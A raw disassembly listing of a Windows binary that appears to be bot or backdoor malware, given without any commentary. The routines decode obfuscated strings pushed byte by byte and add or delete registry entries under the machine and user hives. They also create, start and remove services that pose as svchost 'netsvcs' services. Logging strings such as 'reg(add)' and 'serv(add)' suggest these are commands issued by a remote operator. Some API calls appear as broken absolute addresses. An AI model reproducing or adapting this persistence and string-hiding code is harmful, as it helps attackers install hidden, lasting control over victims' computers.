var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_40142E
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		mov	ebp, dword_51175C
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2960000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2920000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2960000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2920000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2960000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2920000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2960000h
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2920000h
		nop
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2960000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2920000h
		nop
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E2F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E870	proc near		; CODE XREF: sub_401451j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		mov	esi, dword_51175C
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_51176C
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_511740
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E870	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED00	proc near		; CODE XREF: sub_4014A1j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40ED00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C71
		push	eax
		call	near ptr 2810000h
		nop
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_40142E
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_444684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_40142E
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402171
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40ED00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EE40	proc near		; CODE XREF: sub_402171j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40EE40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 2920993h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EE7F
		xor	al, al
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EE7F:				; CODE XREF: sub_40EE40+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_40142E
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017EE
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_449834
		call	sub_4017EE
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 2920CE6h
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EF65
		nop
		call	near ptr 27E098Ch
		cmp	eax, 431h
		jnz	short loc_40EF49
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401951
		mov	esi, dword_511754
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_4014A1
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF49:				; CODE XREF: sub_40EE40+CBj
		push	edi
		nop
		call	near ptr 2930000h
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF65:				; CODE XREF: sub_40EE40+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 29302C6h
		test	eax, eax
		push	esi
		mov	esi, dword_511754
		jnz	short loc_40EFBC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EFBC:				; CODE XREF: sub_40EE40+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EFD0:				; CODE XREF: sub_40EE40+3Aj
					; sub_40EE40+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40EE40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F060	proc near		; CODE XREF: sub_401951j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2920993h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F087
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F087:				; CODE XREF: sub_40F060+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		call	near ptr 28C0B27h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0B4
		push	edi
		nop
		call	near ptr 2930000h
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F0B4:				; CODE XREF: sub_40F060+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		nop
		call	near ptr 29204F9h
		push	esi
		nop
		call	near ptr 2920815h
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40F060	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F100	proc near		; CODE XREF: sub_401FD2j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2920993h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F11F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F11F:				; CODE XREF: sub_40F100+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 28C0B27h
		test	eax, eax
		jnz	short loc_40F146
		push	esi
		nop
		call	near ptr 2930000h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F146:				; CODE XREF: sub_40F100+37j
		push	edi
		mov	edi, dword_511754
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F100	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F180	proc near		; CODE XREF: sub_401FFAj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2920993h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F1A1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1A1:				; CODE XREF: sub_40F180+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28C0B27h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F1CB
		push	edi
		call	near ptr 2930000h
		nop
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1CB:				; CODE XREF: sub_40F180+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 2910BA8h
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F180	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F210:				; CODE XREF: ___:loc_4014ABj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43A348
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F30A
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401730
		test	al, al
		jz	short loc_40F2D6
		lea	ecx, [esp+0Ch]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017EE
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_40F2D6:				; CODE XREF: ___:0040F297j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F30A:				; CODE XREF: ___:0040F246j
		lea	ecx, [edi+47h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3A9
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401451
		test	al, al
		jz	short loc_40F382
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F382:				; CODE XREF: ___:0040F34Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3A9:				; CODE XREF: ___:0040F31Cj
		lea	ecx, [edi+75h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F4BF
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402171
		test	al, al
		jz	short loc_40F47D
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017EE
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h


loc_40F47D:				; CODE XREF: ___:0040F434j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F4BF:				; CODE XREF: ___:0040F3BBj
		lea	ecx, [edi+0A3h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F561
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401951
		test	al, al
		jz	short loc_40F53A
		lea	ecx, [esp+54h]
		call	sub_4017EE
